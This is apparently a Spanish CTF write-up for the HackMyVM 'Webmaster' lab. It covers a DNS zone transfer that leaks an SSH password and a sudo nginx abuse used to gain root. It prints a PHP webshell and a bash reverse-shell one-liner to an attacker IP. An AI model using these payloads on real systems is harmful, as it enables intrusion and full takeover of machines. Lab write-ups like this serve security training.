cd ~/blog

~/writeups/hmv/092-webmaster.md

092 - Webmaster

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
DNS Zone Transfer (AXFR) con Credential ExposureSudo-Allowed Program Abuse mediante nginx
hackmyvm.eu/machines/machine.php?vm=Webmaster

~1 min de lectura


Enumeración de servicios

El escaneo descubre SSH, DNS y un servidor nginx. La presencia simultánea de un dominio y del puerto 53 hace necesario comprobar si el servidor DNS permite consultar su zona completa:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.131
❯ nmap -sCV -p22,53,80 -oN 02-targeted.txt 192.168.1.131
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-02 22:38 -04
Nmap scan report for 192.168.1.131
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp open  domain  (unknown banner: not currently available)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.38 seconds

DNS Zone Transfer y acceso inicial

El meme del sitio indica que la contraseña está en un registro TXT, mientras que el código fuente revela el dominio que debemos consultar:

<!--webmaster.hmv-->

Lo agregamos al /etc/hosts y solicitamos una transferencia de zona con dig, que filtra una contraseña en un registro TXT:

❯ dig axfr @192.168.1.131 webmaster.hmv
...
john.webmaster.hmv.	604800	IN	TXT	"Myhiddenpazzword"
...

Nos conectamos por SSH como john:

❯ ssh john@192.168.1.131
john@192.168.1.131's password: Myhiddenpazzword
john@webmaster:~$

La autenticación confirma que el registro TXT contenía una credencial válida y permite recuperar la primera flag.

Escalada mediante sudo nginx

Revisamos sudo -l para determinar qué procesos puede iniciar john con una identidad privilegiada:

john@webmaster:~$ sudo -l
...
User john may run the following commands on webmaster:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

La regla constituye un Sudo-Allowed Program Abuse porque permite iniciar nginx con privilegios de root. En esta máquina, el directorio publicado es escribible y la configuración web existente procesa PHP dentro del contexto privilegiado iniciado mediante sudo. Colocamos una webshell y usamos id como prueba de impacto:

john@webmaster:/var/www/html$ cat pwned.php
<?php system($_GET['cmd']);?>

❯ curl 'http://webmaster.hmv/pwned.php?cmd=id'
uid=0(root) gid=0(root) groups=0(root)

Lanzamos una reverse shell:

webmaster.hmv/pwned.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.3/1234 0>%261"

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.131:49040.
bash: cannot set terminal process group (374): Inappropriate ioctl for device
bash: no job control in this shell
root@webmaster:/var/www/html#

La conexión entrante conserva UID 0, como ya anticipaba la salida de id, y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados